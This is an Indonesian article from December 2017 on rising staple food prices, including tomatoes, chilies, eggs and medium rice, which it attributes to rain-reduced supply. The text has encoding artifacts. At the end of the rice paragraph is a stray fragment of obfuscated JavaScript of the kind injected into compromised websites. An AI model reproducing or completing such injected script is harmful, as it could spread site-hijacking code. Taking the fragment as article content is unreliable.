Trend Kenaikan Harga di Bulan Desember


Oleh amin m | 11 Dec 2017

Harga komoditi bahan pokok pada bulan Desember 2017 (berdasarkan pantauan s/d tanggal 8 Desember) mulai menunjukkan kenaikan. Apabila dibandingkanAi??dengan harga rata-rata pada bulan sebelumnya terjadi kenaikan harga dengan persentase kenaikan yang cukup bervariasi mulai dari 5% hingga yang tertinggi 59%.

Tomat sayur adalah komoditi dengan persentase kenaikan harga tertinggi yaitu 59,41%. Jika pada bulan November, tomat sayur diperdagangkan pada level harga Rp 7.056,- maka pada bulan Desember tomat sayur diperdagangkan pada level Rp 11.247,- atau terjadi kenaikan harga sebesar Rp 4.191,- per kilogram.Ai??Cabai merah keriting adalah komoditi dengan persentase kenaikan harga tertinggi kedua yang mencapai 20%. Pada bulanAi?? Desember ini harganya mencapai Rp 32.524,- atau naik sekitar Rp 5.518,- per kilogram dari harga Rp 27.000,- di bulan November.Ai??Cabai rawit merupakan komoditi yang cukup fluktuatif harganya dengan kenaikan harga sebesar 14,45% untuk cabai rawit merah dan 13,96% untuk cabai rawit hijau. Jika selama bulan November cabai rawit merah secara rata-rata diperdagangkan pada level harga Rp 17.672,- maka pada bulan Desember harganya melonjak ke level Rp 20.226,- atau terjadi kenaikan sebesar Rp 2.554,- per kilogram. Sedangkan untuk cabai rawit hijau yang selama bulan November diperdagangkan pada level harga Rp 16.978,- maka pada bulan Desember harganya naik menjadi Rp 19.348,- atau terjadi kenaikan sebesar Rp 2.370,- per kilogram.

Penyebab kenaikan harga sayuran dan cabai ini adalah pasokan yang menurun akibat hujan. Intensitas hujan yang mulai meningkat mengganggu produksi sayuran dan cabai di daerah sentra penghasil sayuran dan cabai yang menyebabkan gagal panen. Hujan tidak hanya menyebabkan gagal panen, tetapi juga menghambat distribusi dan mempercepat proses pembusukan sayuran dan cabai. Faktor cuaca ini telah menyebabkan pasokan menurun yang pada akhirnya melambungkan harga beberapa komoditas sayuran dan cabai.

Komoditi lain yang mengalami kenaikan harga cukup signifikan adalah telur ayam broiler. Jika pada bulan November, telur ayam broiler diperdagangkan pada level harga Rp 20.689,-Ai?? maka pada bulan Desember harganya melonjak sebesar 8,16% ke level harga Rp 22.376,- per kilogram. Untuk komoditas telur sebenarnya kenaikan harga sudah terjadi mulai dari beberapa bulan sebelumnya. Hal ini disebabkan karena memang terjadi penurunan produksi di tingkat peternak.

Sementara itu beras IR II (medium) juga mengalami kenaikan harga dengan persentase kenaikan sebesar 5,32%. Jika pada bulan November, beras IR II diperjual belikan pada harga Rp 8.957,- maka di bulan Desember harganya naik menjadi Rp 9.433,-. Banyak variabel yang mempengaruhi kenaikan harga beras ini, di antaranya adalah fleksibilitas harga 10% yang diterapkan oleh Perum Bulog yang bertujuan untuk meningkatkan serapan beras yang diproduksi oleh petani. || navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentar

Tidak Ada Comment

Tinggalkan Komentar

Alamat email anda tidak akan disimpan dan dipublikasikan

Menu
Cari